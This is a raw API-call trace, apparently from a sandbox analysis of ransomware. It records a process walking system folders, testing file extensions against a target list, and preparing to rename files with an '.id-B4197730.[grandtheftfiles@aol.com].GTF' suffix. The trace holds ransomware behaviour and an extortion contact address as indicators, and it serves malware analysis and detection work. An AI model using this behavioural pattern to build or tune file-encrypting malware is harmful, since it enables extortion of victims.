	[0183.789] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.789] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.789] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.795] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.795] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.795] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.802] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.802] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.802] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.806] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.806] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.806] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.808] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.810] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.810] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.810] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.812] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.923] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.159] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0184.159] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.159] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.159] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.164] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.164] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.165] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.165] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.165] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.175] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.175] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.176] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.176] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.176] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0184.185] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0184.457] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0184.677] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0184.677] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39e0738 | out: hHeap=0x5a0000) returned 1

Thread:
	id = 44
	os_tid = 0xe14

	[0152.786] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3a00748
	[0152.786] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3a10750
	[0152.786] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625788
	[0152.786] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x622a38
	[0152.786] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625860
	[0152.786] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3cc1020
	[0152.790] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6257b8
	[0152.790] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6257b8, Size=0x20) returned 0x5dde80
	[0152.790] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6258d8
	[0152.790] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6258d8, Size=0x20) returned 0x5ddfe8
	[0152.790] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0152.790] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0152.790] Wow64DisableWow64FsRedirection (in: OldValue=0x324ff50 | out: OldValue=0x324ff50*=0x0) returned 1
	[0152.790] lstrlenW (lpString="kernel32.dll") returned 12
	[0152.790] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dde80 | out: hHeap=0x5a0000) returned 1
	[0152.790] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0152.790] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddfe8 | out: hHeap=0x5a0000) returned 1
	[0152.790] Sleep (dwMilliseconds=0x64) 
	[0153.082] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0153.082] lstrlenW (lpString="desktop.ini") returned 11
	[0153.082] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0153.082] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=129) returned 1
	[0153.082] CloseHandle (hObject=0x380) returned 1
	[0153.082] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0153.082] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0x26
	[0153.083] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.083] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.083] lstrlenW (lpString=".doc") returned 4
	[0153.083] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0153.083] lstrlenW (lpString=".docx") returned 5
	[0153.083] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0153.083] lstrlenW (lpString=".pdf") returned 4
	[0153.083] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0153.083] lstrlenW (lpString=".xls") returned 4
	[0153.083] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0153.083] lstrlenW (lpString=".xlsx") returned 5
	[0153.084] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0153.084] lstrlenW (lpString=".ppt") returned 4
	[0153.084] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0153.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.084] lstrlenW (lpString=".zip") returned 4
	[0153.084] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0153.084] lstrlenW (lpString=".rar") returned 4
	[0153.084] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0153.084] lstrlenW (lpString=".bz2") returned 4
	[0153.084] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0153.084] lstrlenW (lpString=".7z") returned 3
	[0153.084] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0153.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.084] lstrlenW (lpString=".dbf") returned 4
	[0153.084] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0153.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.084] lstrlenW (lpString=".1cd") returned 4
	[0153.084] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0153.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.084] lstrlenW (lpString=".jpg") returned 4
	[0153.084] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0153.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.084] lstrlenW (lpString=".doc") returned 4
	[0153.084] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0153.084] lstrlenW (lpString=".docx") returned 5
	[0153.084] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0153.084] lstrlenW (lpString=".pdf") returned 4
	[0153.084] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0153.084] lstrlenW (lpString=".xls") returned 4
	[0153.084] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0153.084] lstrlenW (lpString=".xlsx") returned 5
	[0153.084] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0153.084] lstrlenW (lpString=".ppt") returned 4
	[0153.084] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0153.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.084] lstrlenW (lpString=".zip") returned 4
	[0153.085] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0153.085] lstrlenW (lpString=".rar") returned 4
	[0153.085] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0153.085] lstrlenW (lpString=".bz2") returned 4
	[0153.085] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0153.085] lstrlenW (lpString=".7z") returned 3
	[0153.085] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0153.085] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.085] lstrlenW (lpString=".dbf") returned 4
	[0153.085] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0153.085] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.085] lstrlenW (lpString=".1cd") returned 4
	[0153.085] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0153.085] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0153.085] lstrlenW (lpString=".jpg") returned 4
	[0153.085] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0153.085] Sleep (dwMilliseconds=0x64) 
	[0153.332] Sleep (dwMilliseconds=0x64) 
	[0153.652] Sleep (dwMilliseconds=0x64) 
	[0153.919] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0153.919] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24
	[0153.919] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0153.920] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4662) returned 1
	[0153.920] CloseHandle (hObject=0x3e4) returned 1
	[0153.920] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0153.920] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.920] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.920] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.920] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.920] lstrlenW (lpString=".doc") returned 4
	[0153.920] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0153.920] lstrlenW (lpString=".docx") returned 5
	[0153.920] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0153.920] lstrlenW (lpString=".pdf") returned 4
	[0153.920] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0153.920] lstrlenW (lpString=".xls") returned 4
	[0153.920] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0153.920] lstrlenW (lpString=".xlsx") returned 5
	[0153.920] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0153.920] lstrlenW (lpString=".ppt") returned 4
	[0153.920] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0153.920] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.920] lstrlenW (lpString=".zip") returned 4
	[0153.920] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0153.920] lstrlenW (lpString=".rar") returned 4
	[0153.920] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0153.920] lstrlenW (lpString=".bz2") returned 4
	[0153.921] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0153.921] lstrlenW (lpString=".7z") returned 3
	[0153.921] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0153.921] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.921] lstrlenW (lpString=".dbf") returned 4
	[0153.921] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0153.921] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.921] lstrlenW (lpString=".1cd") returned 4
	[0153.921] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0153.921] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.921] lstrlenW (lpString=".jpg") returned 4
	[0153.921] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0153.921] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.921] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.921] lstrlenW (lpString=".doc") returned 4
	[0153.921] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0153.921] lstrlenW (lpString=".docx") returned 5
	[0153.921] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0153.921] lstrlenW (lpString=".pdf") returned 4
	[0153.921] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0153.921] lstrlenW (lpString=".xls") returned 4
	[0153.921] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0153.921] lstrlenW (lpString=".xlsx") returned 5
	[0153.921] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0153.921] lstrlenW (lpString=".ppt") returned 4
	[0153.921] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0153.921] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.921] lstrlenW (lpString=".zip") returned 4
	[0153.921] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0153.921] lstrlenW (lpString=".rar") returned 4
	[0153.921] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0153.921] lstrlenW (lpString=".bz2") returned 4
	[0153.921] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0153.921] lstrlenW (lpString=".7z") returned 3
	[0153.921] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0153.921] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.921] lstrlenW (lpString=".dbf") returned 4
	[0153.922] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0153.922] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.922] lstrlenW (lpString=".1cd") returned 4
	[0153.922] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0153.922] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0153.922] lstrlenW (lpString=".jpg") returned 4
	[0153.922] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0153.922] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0153.922] lstrlenW (lpString="Content.xml") returned 11
	[0153.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0153.923] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=27045) returned 1
	[0153.923] CloseHandle (hObject=0x3e4) returned 1
	[0153.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0153.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.923] lstrlenW (lpString=".doc") returned 4
	[0153.923] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0153.923] lstrlenW (lpString=".docx") returned 5
	[0153.923] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0153.923] lstrlenW (lpString=".pdf") returned 4
	[0153.923] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0153.923] lstrlenW (lpString=".xls") returned 4
	[0153.924] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0153.924] lstrlenW (lpString=".xlsx") returned 5
	[0153.924] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0153.924] lstrlenW (lpString=".ppt") returned 4
	[0153.924] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0153.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.924] lstrlenW (lpString=".zip") returned 4
	[0153.924] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0153.924] lstrlenW (lpString=".rar") returned 4
	[0153.924] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0153.924] lstrlenW (lpString=".bz2") returned 4
	[0153.924] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0153.924] lstrlenW (lpString=".7z") returned 3
	[0153.924] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0153.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.924] lstrlenW (lpString=".dbf") returned 4
	[0153.924] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0153.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.924] lstrlenW (lpString=".1cd") returned 4
	[0153.924] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0153.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.924] lstrlenW (lpString=".jpg") returned 4
	[0153.924] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0153.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.924] lstrlenW (lpString=".doc") returned 4
	[0153.924] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0153.924] lstrlenW (lpString=".docx") returned 5
	[0153.924] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0153.924] lstrlenW (lpString=".pdf") returned 4
	[0153.924] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0153.924] lstrlenW (lpString=".xls") returned 4
	[0153.924] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0153.924] lstrlenW (lpString=".xlsx") returned 5
	[0153.924] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0153.924] lstrlenW (lpString=".ppt") returned 4
	[0153.924] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0153.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.925] lstrlenW (lpString=".zip") returned 4
	[0153.925] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0153.925] lstrlenW (lpString=".rar") returned 4
	[0153.925] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0153.925] lstrlenW (lpString=".bz2") returned 4
	[0153.925] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0153.925] lstrlenW (lpString=".7z") returned 3
	[0153.925] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0153.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.925] lstrlenW (lpString=".dbf") returned 4
	[0153.925] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0153.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.925] lstrlenW (lpString=".1cd") returned 4
	[0153.925] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0153.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0153.925] lstrlenW (lpString=".jpg") returned 4
	[0153.925] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0153.925] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0153.925] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0153.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0153.927] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=111320) returned 1
	[0153.927] CloseHandle (hObject=0x3e8) returned 1
	[0153.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0153.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.928] lstrlenW (lpString=".doc") returned 4
	[0153.928] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0153.928] lstrlenW (lpString=".docx") returned 5
	[0153.928] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0153.928] lstrlenW (lpString=".pdf") returned 4
	[0153.928] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0153.928] lstrlenW (lpString=".xls") returned 4
	[0153.928] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0153.928] lstrlenW (lpString=".xlsx") returned 5
